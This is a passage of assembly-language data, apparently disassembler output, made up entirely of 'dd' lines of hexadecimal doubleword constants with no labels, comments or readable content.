dd 29A11AAh, 0E4D4B05Eh, 0BA5718B6h, 504F5386h, 0CF2580D9h
dd 700D7465h, 9B002993h, 8C8BBFD9h, 4B2831EDh, 0EEFB954Ah
dd 0EC97C8DEh, 8951C3CCh, 0F7D6A59Dh, 0C4862F3Ah, 55D87E73h
dd 307B4BA1h, 459D03B5h, 50F20F4Ah, 0BBE7C44Ah, 8A0F786Eh
dd 35E2701Fh, 0E45C1382h, 1F1D46D6h, 8B008DD4h, 51F274D3h
dd 29A1049Bh, 0AE0F6D95h, 4B81562Ch, 4EF88B1Fh, 5EA192A6h
dd 70176E37h, 9F3CB8C1h, 0FA144AB2h, 2DC54575h, 3ED4B3A9h
dd 83C8D1E5h, 65909F60h, 1D00AD68h, 0ACE58AD8h, 0BD4193Bh
dd 51CB2B9Fh, 0DC00A259h, 0B841483h, 878007C2h, 91A9D3EEh
dd 70FE583Ah, 611EF8FAh, 9C86BB50h, 0C0660192h, 0F965D8AEh
dd 8D198B1Ch, 61821129h, 39B5DC2Bh, 0E6B63AF7h, 923017F2h
dd 0BB69244Bh, 0E09004E3h, 0A3B5B8F5h, 0A9304F41h, 6B19BC53h
dd 53F6B4FCh, 5AC99693h, 970DD0h, 0DE3CDD0Fh, 1E904D70h
dd 7D133774h, 0FBAC15Dh, 689B54Dh, 18793F7Bh, 0A624B718h
dd 94319467h, 0E63A0AD5h, 311CF218h, 4A2DF0FBh, 0E513EEFEh
dd 51C0AD48h, 0EEBF5BFEh, 5CB325B1h, 0DF04ECCCh, 3D7DC008h
dd 40D0E6B9h, 71A23FFDh, 927D351Ch, 0EDB70F81h, 0F5CFD316h
dd 318EABA5h, 63D532Dh, 0AFE8DABBh, 5E4EE74Ah, 2DA0E0A6h
dd 0AF0A5433h, 9F11BB35h, 0E8C6DB0Bh, 951641EDh, 5569347Bh
dd 5527C3B5h, 800FEFA2h, 0E98B2EF1h, 0F9D5E05h, 4709BB66h
dd 2F4ED770h, 0B9D6FDACh, 7230A8D7h, 4777D39h, 0F729361h
dd 9264AE88h, 346A97CCh, 68E4EE68h, 564AE901h, 0FB1BA380h
dd 0C06D00A3h, 69164C52h, 0BC4CF2ACh, 689E004Ah, 124856BBh
dd 42291CDEh, 0EC9940CFh, 93407628h, 0EB217D03h, 0B8C9D53Eh
dd 506CC4h, 7E556EDh, 0A7F6AD13h, 51E732F4h, 0CC77271Eh
dd 12738C87h, 740D3700h, 4AE0B794h, 0E18E0334h, 88DD6D31h
dd 0CC6C222Ch, 70063001h, 0E5D8B3A4h, 0AD2E00D4h, 9A040FF3h
dd 5900B764h, 0DE9F021Eh, 0C5FFE6h, 20CD036Ch, 0FBA372F0h
dd 0B7079200h, 0AA6C78Dh, 66020212h, 9D0113C0h, 0D057E5E1h
dd 0AEA18ECEh, 1844B9FBh, 8D0D67CAh, 9AF30034h, 0DE841AF5h
dd 0BF28DF31h, 0AF00F72Fh, 9DB64936h, 390CB9F7h, 0E09F9707h
dd 0AB3C707Ah, 5B00F923h, 0FCA2735Fh, 31FB882h, 2BE5660Ch
dd 7590EC24h, 9300D338h, 0E70D1477h, 9D09FFh, 0BA61E023h
dd 0A11B74B5h, 5FF66A60h, 2F0DB387h, 0BD4A712Ch, 257B210h
dd 61691FAh, 6A0C37DDh, 8B8483h, 2159601Ah, 838748Fh, 3F5FB30Fh
dd 4E5A4B4h, 69574F4h, 0F00C6BA7h, 0B3003B8Dh, 0C44FE05Ah
dd 4D6892h, 63C853BCh, 1464EFAFh, 280FBF48h, 73008DA2h
dd 9ABB9D78h, 62B2C5h, 1F88B13Ch, 99D22BB6h, 17FBDF00h
dd 8FB95187h, 81E4003Eh, 4FF58CA1h, 2D0171A2h, 31F5FF7h
dd 7E8086A0h, 10C76DC6h, 34016AA7h, 0D0CE44A9h, 0C8DFE045h
dd 3967ADFh, 22B7D08h, 70D78F48h, 6FF51BADh, 79AA0600h
dd 4136DBBFh, 0EEC23025h, 2E97F054h, 0B60F807h, 43809608h
dd 33ECED0h, 336BA9FEh, 2D0E64C7h, 933992h, 94247A9Bh
dd 0B0F7006Ah, 3F42EB3Ah, 0E1000699h, 3E121F49h, 0F392D55h
dd 0A05ADB81h
dd 53851C5h, 4A8AEFECh, 6480AFh, 930B0459h, 7003A308h
dd 0F320C52Eh, 51F798ABh, 0A286A0A4h, 0CAD4033Dh, 6539DA3Fh
dd 9B559698h, 215AF301h, 108E8367h, 0E42DF8h, 8D0A4AA9h
dd 0AE3EC8EAh, 0C22F9218h, 0D5FC55C2h, 820F1169h, 0BB60AAEAh
dd 0C32F58E3h, 862B6060h, 906872Dh, 0C7FD454Ch, 439B1403h
dd 72CBD20h, 4E420B23h, 8FABE37Eh, 574031DAh, 9800015Ah
dd 0D13FA42Fh, 11D8191h, 8DE529B4h, 0CC382063h, 0B00F6B7h
dd 462AE465h, 489DD3CBh, 330438E6h, 90167CA8h, 1CD64739h
dd 8EDD1518h, 88017B84h, 6E06A70Ch, 4AADC909h, 1F780C2Fh
dd 760F50B3h, 4FC479C7h, 637FBF11h, 0A01D4EC3h, 2009447h
dd 0DA3B1FD9h, 0DF34C4h, 0B5DE6935h, 1970D10Fh, 9BB74701h
dd 7E09A3Dh, 0A08510F8h, 6A6884CFh, 3E681705h, 8D863380h
dd 0EA533AD5h, 322DB21Ch, 921D1F7Dh, 497518F8h, 207E1EEh
dd 0F0D48ECFh, 96603F23h, 7B03D060h, 5874049Ah, 1B2709F5h
dd 30811CC2h, 7F8F80E2h, 5EB6BE00h, 4CD740h, 0DEDFD2FCh
dd 677D1322h, 0FF14C100h, 0D641938Eh, 29C363ECh, 82D0E830h
dd 6B0033E0h, 0A84E7702h, 9E6D27h, 0F5F1B274h, 0E1305A18h
dd 932BD00h, 0C64DFAA0h, 1E4800D8h, 0EE7E1B3Bh, 9C004267h
dd 6D568E5Eh, 54F4406Fh, 85C813h, 57B996F3h, 0A17A9A97h
dd 0D565CE00h, 21746B95h, 0B85F00B7h, 948D40A2h, 61036F1Ah
dd 53A91DC3h, 7FEE008Fh, 0DD369B26h, 0DC0331C1h, 0C5284433h
dd 0EB1E0065h, 45832992h, 12007B98h, 625C9319h, 4DB6AEh
dd 0F1AD68BDh, 4973D66h, 0EE749F00h, 88137C22h, 813B006Ch
dd 0F228769Dh, 0B790055Ah, 0E51DED01h, 83406EB2h, 144C497Ah
dd 36C6ED80h, 1690971Ah, 0E41F7F7Eh, 8A9DFF54h, 1F0C5153h
dd 9F1A82h, 0C3EDBC76h, 2214F2D1h, 0D0008D79h, 7231E6Fh
dd 0E586A4h, 1079D27Fh, 85E16480h, 0CF58FFF2h, 73591999h
dd 0A040F279h, 491E3ACAh, 32002CB4h, 2AE94ED9h, 911C3E74h
dd 65C61C82h, 762099FDh, 0C7AB00A6h, 6DC2524Ch, 0B730D3A4h
dd 29821F54h, 2E3558C0h, 0C2C72800h, 0E7F20E9Eh, 0FDF6D01h
dd 0B419A4FDh, 4CAFFD30h, 5300025Ah, 0EB45D437h, 0A91202FFh
dd 87007003h, 3A2663FBh, 75B98AAh, 32F8EA8Eh, 316D604Ch
dd 0D738F38Bh, 7017CCCh, 9CF181DAh, 0EE60ED75h, 5A83060Eh
dd 0E4BF76B4h, 2487A312h, 0BD52C340h, 98C04B53h, 35C509C3h
dd 78A0A0F5h, 545FD379h, 121F575Ch, 0F700F952h, 452F830Ah
dd 89E63172h, 0E82B8E92h, 597007E4h, 0D5619737h, 50F6430h
dd 7FF31899h, 31075C5Dh, 85A1E10Fh, 0D50F22h, 0BE0C817h
dd 16BB3CC2h, 0D67C93h, 425CB7ACh, 0B4075F0Ch, 0FE1A5AEAh
dd 7D4B5B0h, 0CA7000C9h, 613DD237h, 1B7444D6h, 7A3F7D58h
dd 0B0EE251Ch, 9480D5C1h, 0E4F6640Ah, 0BB1604CFh, 0D46FA75Ch
dd 36E9888Fh, 78DD6809h, 12CF009Ch, 59149FFFh, 4C029BAFh
dd 0EB50DBC3h, 84E90540h, 8506F698h, 4EC8152h, 1678BF5Dh
dd 0C3F6E3E6h, 0EB830BA0h, 1CC387ECh, 4E27685Ch, 0CD91E1Bh
dd 14117EF2h, 59C660F1h, 17D5500h, 52BDBF57h, 81170EB2h
dd 0F3C7FAEFh, 0EF7606Dh, 0A000C2D6h, 295FFE89h, 625459CEh
dd 0C481448Bh, 86A03FADh, 8428F6Dh, 15567A25h, 15C681E6h
dd 2A870C66h, 8FF5C35h, 0F4C5886h, 0FBA530E9h, 1E565F60h
dd 1200C9BDh, 0D94BB88Ah, 7F0307FEh, 0F4E005C5h, 76E2A75h
dd 603914C0h, 220C6663h, 5A4B5500h, 595E7827h, 4E8900C7h
dd 441A342Dh, 2A007F0Ah, 5107308Ah, 79497B9Bh, 6B1201A7h
dd 6A70ED1Fh, 4263F8F0h, 134E7500h, 521DA41Bh, 58E0004Ah
dd 0F178AF11h, 2D26CB0Ch, 0BF003181h, 95BD51EAh, 0FE3600D9h
dd 334EF2AEh, 4F019F40h, 6A978D7Fh, 1C319ACCh, 0AEDD123Fh
dd 3A049D7Bh, 0A8C090EFh, 22B2036h, 53BFBB50h, 37D419CFh
dd 0C9187D27h, 0CA97258Dh, 7B297B6Eh, 29DED8D8h, 40718D4Ch
dd 0BD4A8B26h, 0DC8590E5h, 0A8FEDC37h, 0FDAD6B0h, 565E0880h
dd 0A36068CFh, 6DB01ADAh, 0C6DD8A17h, 6F6A4BB9h, 333D00E6h
dd 31623564h, 9B14E95h, 0C0F66AECh, 8A9D29C3h, 5396F51Fh
dd 403FCD97h, 0FD8B5E77h, 40EC4D4Eh, 8005A9D3h, 0CCF9DF81h
dd 0C6D148FFh, 0A13FBD06h, 0D7161A1Ah, 74A209FCh, 3DDDDA89h
dd 605B800Ah, 506E2CBFh, 0C6B62F4Ah, 82297076h, 0D4D4E257h
dd 0AA28DCE7h, 0C520A586h, 0BF660501h, 0EF8BADBBh, 0CD3AE889h
dd 0FBF43F10h, 11A3028Ch, 487115B1h, 497A5DEh, 0CABC48FDh
dd 0EB9F9407h, 5B318106h, 297A9557h, 0D46A2ABAh, 40926601h
dd 38F93BCCh, 24B080C8h, 4A144478h, 0CBAEB997h, 0AEA6000Eh
dd 0B592E970h, 4120AF1Ch, 0E7FD80DCh, 0F3F74B21h, 8512432h
dd 37FC8801h, 0DD3A5F06h, 0A86A3A44h, 95E6957Dh, 8BDB8101h
dd 906B0E10h, 2E76307Ah, 0AF00B380h, 7247A3DAh, 2D990663h
dd 0AEE4699Bh, 744D0C01h, 8875EB84h, 753617C8h, 0F8A00F2Ah
dd 0E380AA02h, 0B638BB66h, 904F5F71h, 0F1804A9Bh, 6360B78h
dd 76ADB64Bh, 8C1BB8h, 74D0F20Dh, 0F616EC39h, 492D3698h
dd 27116708h, 67512073h, 46DDCFCh, 63A8FE90h, 9CDABAB4h
dd 65C01DC8h, 22E6456h, 25B92CC4h, 0DF82FB0Fh, 35C0A24Ch
dd 6D95FF6Ah, 606EC2C2h, 10013061h, 0BC5A57F9h, 8055252Fh
dd 4ECF81EDh, 4C1501B2h, 399D0B51h, 5B1A9617h, 0EF3443B6h
dd 20FC0547h, 0C525811Ch, 82B00323h, 9126160h, 0BD0101C2h
dd 618C502Dh, 0CC9870E6h, 40CB799Dh, 7FBD0C2Dh, 0A1171600h
dd 0C7296725h, 187D0B96h, 99DFE8A0h, 35A7AED3h, 40AD8AF1h
dd 8906BA63h, 0C2A03EF5h, 8F0908C7h, 0D8A50B0Ch, 0EACDD20Ah
dd 0AEB3B725h, 88D14B76h, 291657F1h, 5452A595h, 758506AFh
dd 0BD132B11h, 78AC1479h, 6D25898Fh, 20091C0Ah, 591EAD27h
dd 111D917Ch, 750AE8h, 1F782518h, 2B4B041Eh, 0FA8374Ah
dd 33E95BC2h, 9540C657h, 8084567Eh, 842132EBh, 0E5216A1Fh
dd 0D9092A65h, 20EF0C27h, 67890E17h, 0E1616ADAh, 2A094CDCh
dd 210122F3h, 0B8777476h, 6B064D38h, 0BEA3AF1h, 192D79D8h
dd 0F4995410h, 32498C00h, 0C5EEA11Eh, 1B9183Ch, 59BDDF09h
dd 0C6911F41h, 8DC44F81h, 2209CD04h, 859D0E18h, 9AA6245Eh
dd 1DB50104h, 0A399FA35h, 0D417D41h, 0D1855989h, 95A93CF5h
dd 0FB704A53h, 0AF7D0097h, 80E25FC4h, 61B551E7h, 0AC205B52h
dd 0AC074E93h, 5760C065h, 1DE815Fh, 6A2DDFDAh, 6E880D61h
dd 88FFBF75h, 7B074933h, 0AE078E6Ch, 21AC4784h, 93B8A8D2h
dd 3CBF8AAEh, 0E34FF62Ch, 16ACC9A9h, 210545B3h, 7080EFEAh
dd 28CF09A7h, 41C5032Dh, 3E926415h, 33B2394Eh, 8AB2DAF5h
dd 0B404C467h, 0C1AFD780h, 6E0B25AAh, 0F3A041A7h, 0EE7EBEF7h
dd 1ECB321Ah, 0B883C0AAh, 4814B5BCh, 73977F70h, 0F37AD0D5h
dd 0D3B2E601h, 0DCF216BBh, 9D3FD87Bh, 0D6178925h, 1446DE7Ch
dd 6B59977Bh, 5AF5397h, 0E9E1FF78h, 0B92BB97Dh, 45692D14h
dd 4FE21A91h, 0F051897Eh, 0C501BADh, 568E0A5Ah, 6001A722h
dd 74BAF4BFh, 77303101h, 0F0449D21h, 41850913h, 0B5F90EF0h
dd 75ED280Bh, 9DFAE4C4h, 99A08BB4h, 6B1D512Fh, 1D4080EDh
dd 12C79C47h, 0E1815893h, 14743F58h, 16A96AABh, 30BBEA60h
dd 21745804h, 13FB9A4Ch, 5D6F2404h, 4D62E300h, 68A6DE7Ah
dd 48424030h, 3D5ECEBFh
dd 0EF0444C2h, 0FB9710E5h, 6C991820h, 787758A4h, 107C8130h
dd 694B0E1Eh, 0F877756Eh, 0DC609EBh, 385D3291h, 0B71D51E4h
dd 18C52DEEh, 70EB1525h, 0BF7816Ch, 37C9D10Fh, 5B0129E9h
dd 202CD388h, 0F925D9B5h, 3569BCh, 7DEA3F87h, 41A860F5h
dd 86CE4DDh, 810F3211h, 25D50FC2h, 29A86158h, 5BDB80C7h
dd 22BD8D02h, 0A73AC5F7h, 8F40746Dh, 24F9EDA1h, 0DE4A0689h
dd 60CF6D00h, 5682BA66h, 616824B3h, 0CF80C1A0h, 6A176AC9h
dd 2F4408BFh, 3853960Ch, 0B2CF4B8Bh, 33BC003Dh, 28CBD455h
dd 0A3C20054h, 759CDD2Fh, 49000693h, 0F7E0D5E4h, 4B5F615Ah
dd 3493BC50h, 3DB650C6h, 9C7087E0h, 0FBB99E26h, 23F88616h
dd 0B63AF445h, 84B6F00Ah, 981325DDh, 38898710h, 2B551800h
dd 395BE0C9h, 71011EF9h, 7FF3099Ch, 40813505h, 8C5D689Ah
dd 50038805h, 7CF0BF52h, 31F48F54h, 0CE8060E8h, 0DFAAFE82h
dd 51038600h, 6526F33Ah, 88D35F4Fh, 0A926D8F2h, 7E05A0B3h
dd 85FA5BBEh, 0A2DA41E5h, 6A781977h, 0E380E5DBh, 9BFE55FDh
dd 0B41A7413h, 405DCFCh, 0BF858DEBh, 2328677Eh, 0C64016C7h
dd 7884F250h, 1F36B02h, 60688BABh, 34CFA4DFh, 0BFCE89D6h
dd 5280DD65h, 31616006h, 0E34E40B7h, 633D6A65h, 80B79A2Fh
dd 0F299FF4Fh, 0D2D90084h, 80E723F0h, 949FBEEFh, 9E385E39h
dd 9890C95Ch, 0ECE364BCh, 22A93D19h, 3F5127A5h, 0CC60E349h
dd 0E4CE3BEAh, 0AD018B6Bh, 3A2664BFh, 24296A7Fh, 88C92EE6h
dd 0F860FC69h, 2740EDBDh, 9AD4A561h, 95D3768h, 0A3335DB6h
dd 7A227DB1h, 481AE9Ch, 5AD030DBh, 0C052FC1Eh, 459F23BFh
dd 964DBD67h, 0F9621464h, 1DED85E0h, 0F83C9681h, 2E55809Eh
dd 6E88082Bh, 0BD9E7800h, 60CA4149h, 0B0E64B8Ah, 502D5B53h
dd 133D3796h, 0ECE017D0h, 9755C011h, 0E478E227h, 0C5FD00D3h
dd 304A1289h, 1C2948FEh, 5BAD9CC7h, 418F7830h, 0F3EA7AE8h
dd 5E0FF097h, 0F66413B9h, 301AB229h, 861FE03Eh, 0B356C6FEh
dd 39A6DC8h, 4F8707ADh, 2F901FE5h, 0F2F928Fh, 50ADFC8Bh
dd 0F91F0221h, 74C4C744h, 47FB798Ah, 0B2E66E18h, 74C5F4Dh
dd 0E95ADD98h, 4DED4C84h, 47002DECh, 49A384ECh, 96A23BBFh
dd 0C71A40FCh, 110173B1h, 0AF7DFA1h, 2770D6CBh, 7C60624Eh
dd 0CC5F0CCDh, 672302C4h, 61E7EF87h, 89246CD4h, 36801FCh
dd 0F489DF53h, 23FAE0B3h, 7CF56031h, 0E26F02F1h, 0F9A697B5h
dd 0FF2EA1E0h, 0BCC56E1Eh, 0C41AF42Fh, 7505BBBFh, 65EA1079h
dd 0A18EB6F7h, 8C2EBE94h, 0F9953169h, 0D0E227B5h, 0F1967860h
dd 7E373F2Fh, 0C10A5576h, 0B504D5A7h, 31020D71h, 774A2995h
dd 0B7B8D125h, 0B314B072h, 0A3911363h, 0E99400C4h, 6E96EF81h
dd 334E2C02h, 92116D9Dh, 9A4EDDCDh, 0B8E3F717h, 0AB9CA95h
dd 8E00D5E8h, 1676430Eh, 0C02F5C88h, 7CA0F35Eh, 2D20BD2Bh
dd 7272C00Fh, 961B8A17h, 2C5D80BFh, 0C012E9E0h, 77229A51h
dd 6500F126h, 0CFEA01D0h, 53483BCh, 0CB29638Bh, 0FE90EE2Fh
dd 2F1080BBh, 0CA49198Eh, 0B8982D96h, 0EAED00E7h, 3BB5D503h
dd 0CC95CA60h, 73E5B768h, 0BD1DA438h, 0B2EEC4E0h, 8A4B5AEBh
dd 8A8872D2h, 529609DEh, 0E2A058B3h, 24E58529h, 616971B7h
dd 6A0C5DD3h, 1FFD7F17h, 9094DECh, 0F505499Dh, 66C09B15h
dd 50A9D802h, 0CB34E9h, 33FEBD05h, 5F28CC7Fh, 8D9FA600h
dd 5174C8EDh, 0E7D516C5h, 3FFDB186h, 82EFA834h, 7CD45BB1h
dd 0BC155851h, 53112F59h, 181779B1h, 26203E98h, 4D858989h
dd 0EAC6CA24h, 0AA92BEDEh, 0B134681h, 97A2D2DCh, 1CD91F5Bh
dd 0B3387A18h, 1F751789h, 0E9F85613h, 0F033E702h, 82D4C7E9h
dd 70BE5B25h, 0DA012582h, 2FEC8021h, 0ED2F892Ch, 968B3A82h
dd 60BFDD8Ah, 2F419D7Fh, 0E67782h, 935E98BDh, 0D0330369h
dd 0F38CF1AFh, 0FDD6EFA8h, 2B13EA7Bh, 0DBAA389Fh, 86EBC033h
dd 4F7C487h, 0F2CD53D9h, 3FB6FB90h, 0E20280F0h, 336E0518h
dd 17EBC4E6h, 0A05307FEh, 4D985BCAh, 0C2364625h, 82E1D7ADh
dd 0FBFFB118h, 917C8D0Fh, 0E55E09A0h, 86C43800h, 0EC0A6EEAh
dd 57FE06F9h, 0B0457C61h, 0B0076071h, 0CC780CEh, 0F86CBBC0h
dd 0B6247610h, 3B130BB8h, 4DCBDDFh, 0AEC7719Ah, 0CAEFCDD4h
dd 22D9A09Bh, 9FFB09B4h, 35751F88h, 851591F6h, 0B480E1DAh
dd 0A7A0791h, 0D1BD2365h, 6EFF9DAFh, 58131100h, 3D3FC187h
dd 0F76E832Eh, 3B72122Ch, 9489D3E2h, 0B8A5BD5Dh, 7983EF81h
dd 36026A2Ah, 0F764F035h, 88365E79h, 1D00123Ch, 8C0A0E17h
dd 2C3DB8A2h, 0BD53A1h, 8A903482h, 0BD9050D8h, 0B7DB6EEDh
dd 0A6C6029Ch, 31FF9040h, 26C5B56Ch, 20FF9D7Eh, 1F4021ADh
dd 8EF14BE9h, 8ECE248Dh, 0DEA1F625h, 95091204h, 874E0675h
dd 173948B1h, 77BF2D71h, 0F59DC34Dh, 810FA30Ch, 6660310Bh
dd 1B0C2801h, 61F8BF0Eh, 0CD0B8190h, 0B26E191Fh, 8F5727C5h
dd 5C04F38Ah, 8EFA1455h, 0B0EB46D0h, 6710C2FBh, 49E9582Ah
dd 0BBCDCF57h, 28876ECEh, 0E94CD059h, 299D85CAh, 2DB5E220h
dd 35578111h, 5CCA58h, 0F60123C2h, 90A4496h, 0B1A843B0h
dd 0AD2370E6h, 0F5840074h, 0DC85E1BCh, 2C00F424h, 1C18B909h
dd 165171E4h, 9E9C3BFh, 0F05A5B9Ch, 1031F244h, 220B1B5h
dd 2553F9BFh, 3CF55657h, 0C14EF004h, 96FAAC17h, 9F7BD0ADh
dd 7D4B5E7Ch, 96E63B00h, 9F025B0Eh, 1B13828h, 0A5DE56B5h
dd 0BF4E80FFh, 0B5092F87h, 0B17CAFAh, 2752D5BDh, 87B19FCh
dd 0D166713h, 1FC6000h, 0C9295595h, 0F92E949h, 7256EA55h
dd 978A7828h, 25070F04h, 75E90BBEh, 69F9D06Bh, 90F472Ah
dd 57E97D7Eh, 0FBF4BD6Ch, 0F5BE930h, 6319BD33h, 0FF8D4D25h
dd 220035Ah, 3752CCh, 1E2B24F1h, 0E6B0E0F8h, 103D6112h
dd 43120B87h, 44265C5Fh, 31EA532Dh, 0F0F1FE3Ch, 832815BAh
dd 4CF733A5h, 0B97F3CB9h, 98652900h, 0FD50DA2Ah, 958929B4h
dd 346C2587h, 0C2656920h, 0BE35DB84h, 0F5A02BFDh, 255BF7A9h
dd 80181859h, 0D21EC509h, 1659418Fh, 0E9CDBA48h, 0A864B902h
dd 6960318Dh, 12115C8Ah, 0E2D88BB4h, 2C11144h, 9D852904h
dd 1BB6752Ch, 5365B2E0h, 1155909h, 0C02B129Dh, 25A8022Eh
dd 0DA6DD22Bh, 82AD57C0h, 368B4860h, 61F0B709h, 0C7FDCF57h
dd 80100E1Ch, 6B3BF6B0h, 566809ECh, 3E229FE1h, 0F975164Fh
dd 118F00B3h, 38EC5B05h, 2E12E517h, 0B516D5F6h, 0E452AF3Dh
dd 0F0E02FE6h, 1E7EDF32h, 34A7E206h, 2621880Dh, 1327F560h
dd 5B42CAF2h, 38A010B6h, 2612CAFAh, 6A95800Fh, 8A0720ABh
dd 21004B6Ah, 0F5A89047h, 254201F8h, 0C1CD5F80h, 8C601864h
dd 832FE288h, 107200C2h, 258589F6h, 0BCF92EEDh, 0B562827Ah
dd 27984433h, 0F3D4294Dh, 213B7E71h, 2F76F40Dh, 1C88C2DAh
dd 553D1C0h, 0D3820475h, 0B9113F9Dh, 4F9AD275h, 3ED2DC9Fh
dd 2E724804h, 0C996F8CAh, 83CA572Bh, 0FB378877h, 9AE1FF8Bh
dd 16597FB6h, 2DE62487h, 0BC4B97F0h, 55B9F7Fh, 0DC2A564Bh
dd 0ADDF571Ch, 81BD09C2h, 0D1F15527h, 0AF523FC4h, 0EC2AD489h
dd 0A5F5A3D5h, 117ABBh, 7B690B21h, 18E2DA4Ch, 725237EDh
dd 0B78010A1h, 68606BDCh, 0CED318F5h, 86E49DD4h, 6E99D303h
dd 0EFC7917Fh, 533CC000h, 9EDEEC6h, 0AFB01FCAh, 0E3E6805Dh
dd 975BA4ACh, 0E14DE80Bh, 874EE5C0h, 8C2E01DCh, 95BD2906h
dd 18B63E14h, 0A6A83E5Dh
dd 5309A497h, 0A0ABA7FAh, 97FFF7BAh, 0D9271270h, 0E0CF4C26h
dd 228B0195h, 14FF747Eh, 19A3C8A0h, 66F6EC25h, 1D0D9D9Bh
dd 1C322E07h, 90D7C0F5h, 50DE288Ah, 0DDCD3CC5h, 80AADB4Fh
dd 0CB3E8B21h, 0B09B17FAh, 0DD0A30EBh, 1FA7B6Eh, 376A5325h
dd 0ABB08080h, 0F76806A8h, 9AB5C100h, 93824EBBh, 4182957Ah
dd 16E24208h, 7805EB7h, 0C9BAA9C1h, 84C0B31h, 17761513h
dd 0AC22A140h, 87B4006Eh, 0C88D9052h, 9B134B14h, 52C2A2C3h
dd 45F052Ch, 0BD692BA5h, 9FA9231h, 0B08981B1h, 0F4BFD5h
dd 49BB4DFDh, 0A7EA1187h, 0E8072908h, 80D1800Ch, 6C7F933Ch
dd 3D175202h, 779DC7B6h, 5F020C51h, 7E01B5E9h, 0A8759304h
dd 0F7F8A272h, 0C2D240ECh, 0B72A21E1h, 6509B5ECh, 0A0367927h
dd 0BE8E3E97h, 0DE9306A4h, 0AD5AAE07h, 0F46B80C7h, 6DE30914h
dd 8FA6BCD3h, 0D8C103D6h, 8A724F1Eh, 2FFA8BA9h, 95D63D1Ch
dd 5001ECA9h, 0EBF0FEBFh, 8B117A49h, 2D13BC8Ch, 0E7E6DB73h
dd 1E1049Dh, 0F4E93A1Fh, 77C012F4h, 142DEA8Fh, 0BE97B25h
dd 74864607h, 5B72A2C7h, 6969EDF7h, 26171953h, 51B09AB8h
dd 691719BBh, 4519346Ah, 53C4603Bh, 0F561715Ah, 0B01964C2h
dd 0A6F85E13h, 301CB2D0h, 7700C683h, 914166Ah, 4B8932D1h
dd 289FE9BDh, 0C428FE90h, 700CCB02h, 1632FC60h, 0ADDF4B8Bh
dd 8C18AC25h, 88AF3104h, 30FED58Fh, 0FC2DCB9Ch, 30964001h
dd 9807E8EAh, 4C2AB33Bh, 59CB1455h, 0EB00758Bh, 8275F10h
dd 2F0183BFh, 0E4511BA7h, 1F39B5C1h, 1222220Fh, 0BD37E9FCh
dd 0BD9AECD3h, 255F5CFBh, 0F8B5BA31h, 9012142Fh, 339B5F57h
dd 1BDDBF93h, 69DE202Ah, 130E2C76h, 60725559h, 6E5F6056h
dd 2EDA9065h, 1629F6CDh, 0CB3CEADDh, 0F7818820h, 0E129397Fh
dd 0D66F767h, 26F39D26h, 9E94C78h, 2AD78030h, 2BAF8555h
dd 236B6FBEh, 3A043F18h, 0C1FB1998h, 2FAE16E2h, 74E36735h
dd 61C2FC25h, 0D0925357h, 0BF70712Fh, 282B0816h, 38D96BEAh
dd 84701Dh, 0EE7123FAh, 6BE94995h, 0FAADCA2Fh, 611740D1h
dd 6A8D2925h, 9FF278A0h, 0D852355Eh, 0B30780DDh, 0A1449D98h
dd 0DC13BCh, 189CEA1Ch, 9D33F3A9h, 0DAA531F4h, 9723D825h
dd 0BE1C621Bh, 7D207D8Dh, 30E53429h, 0A2C064CBh, 37FC1E56h
dd 0B8E5DE80h, 23B94B6h, 884DF861h, 325E83BDh, 61CF4F25h
dd 0F0EDD1AAh, 0D009A927h, 5234585h, 9DBA1841h, 67202AF9h
dd 70AF4933h, 0FD53B790h, 44AEC5Ah, 0B55D49C1h, 0EAC4AF33h
dd 5D99AAC2h, 2B7DE46h, 5C1F2C76h, 7DCD27C3h, 0C29B5CC0h
dd 0A5B52431h, 0E166A5F6h, 65185A0h, 2D644E9Dh, 175CDAB7h
dd 7D1F09F4h, 0E6D57EE7h, 95BD12C7h, 9FEAB234h, 70EADE53h
dd 0EB8CCFF9h, 3DB5058h, 0D18A5FB3h, 52BAE861h, 6124EB5Eh
dd 0AFED97F9h, 0C1EF9068h, 8E0FAF93h, 2FEF8D6Bh, 6A7A53DDh
dd 366F008Ah, 0C562ABF2h, 98963AB8h, 22828A4Bh, 0E5EE976Dh
dd 5B24A927h, 209BA83Ah, 965E26E9h, 108DEC49h, 2769BF4Fh
dd 0A0E98A23h, 7DFC1209h, 5712705Ah, 0B337E3EEh, 0E8A1D090h
dd 9B9F0284h, 14486627h, 4B237857h, 6F20C45Fh, 0A04917ADh
dd 3C910CA9h, 5C7E3A00h, 2F18F2C5h, 8A023B90h, 0BE224B3Dh
dd 0FD4C7DD3h, 777311A2h, 715B5B28h, 174C3DA9h, 219302ABh
dd 213BBFFh, 0C75CF434h, 0D5B52962h, 0C9564DCAh, 0E1816DD2h
dd 214CF16Fh, 48E26F8Eh, 2975B509h, 43AFED73h, 0C6253805h
dd 0BC56BD5Fh, 0C2D917D4h, 5B7BBFB6h, 0FA46605Ah, 5A00D351h
dd 0D7627D50h, 9A059589h, 0A2F84EA4h, 92DB4E4Ch, 17A36A83h
dd 0F3B9B2F8h, 2AE45582h, 2C219517h, 496D3FBFh, 3DDEC156h
dd 0F77B0B77h, 6781346Bh, 0D9854287h, 777BD7AAh, 2FD3CA8Ah
dd 0CBBED25Ch, 37804B9Eh, 466EAEE1h, 0B3004578h, 88C78151h
dd 0B5109EA3h, 49623276h, 77E40CDh, 81F4B9E3h, 73609ADBh
dd 14B8EC16h, 0EE097B00h, 0C03AEC9Dh, 0DA6C61B6h, 7EFEFBC9h
dd 2389F31Fh, 7E905CFAh, 0A2021846h, 7AAA2B60h, 4E88D768h
dd 40C0FE82h, 71567876h, 0E7864B00h, 1C5BD5A1h, 0FB660168h
dd 0D787DFB1h, 3C5EC5B0h, 5C378010h, 0F6E2C54Ch, 13D6E808h
dd 0BEC52CBh, 0AF76DEFCh, 53DDF25h, 60B52328h, 5ACF8086h
dd 2318891h, 0EAF4BA00h, 0DA267E44h, 32720264h, 0BD099659h
dd 5BD425D5h, 71ECF525h, 0ECA01058h, 8A25098Fh, 6830EDFCh
dd 0DBCB6F56h, 2817D75Ch, 0AAB484A8h, 0AC8FACDAh, 0A60938DFh
dd 2C180EEAh, 730B8C71h, 7C89F182h, 0F8D189DEh, 79442079h
dd 0D189054h, 8902DF2Eh, 26F49D4Ah, 0C3869F60h, 61713BB5h
dd 4A569058h, 0FB8917BBh, 70BF5230h, 6C1E2C74h, 88501635h
dd 1DEC206Bh, 74EB2500h, 78291E2Ah, 9D450913h, 89FF4071h
dd 5EDFDB0h, 1D0FCC7h, 9CA7AFD6h, 27C60B82h, 6F5242B1h
dd 2215408h, 0CA1E95Bh, 0D358055Eh, 903181FBh, 47C32F4h
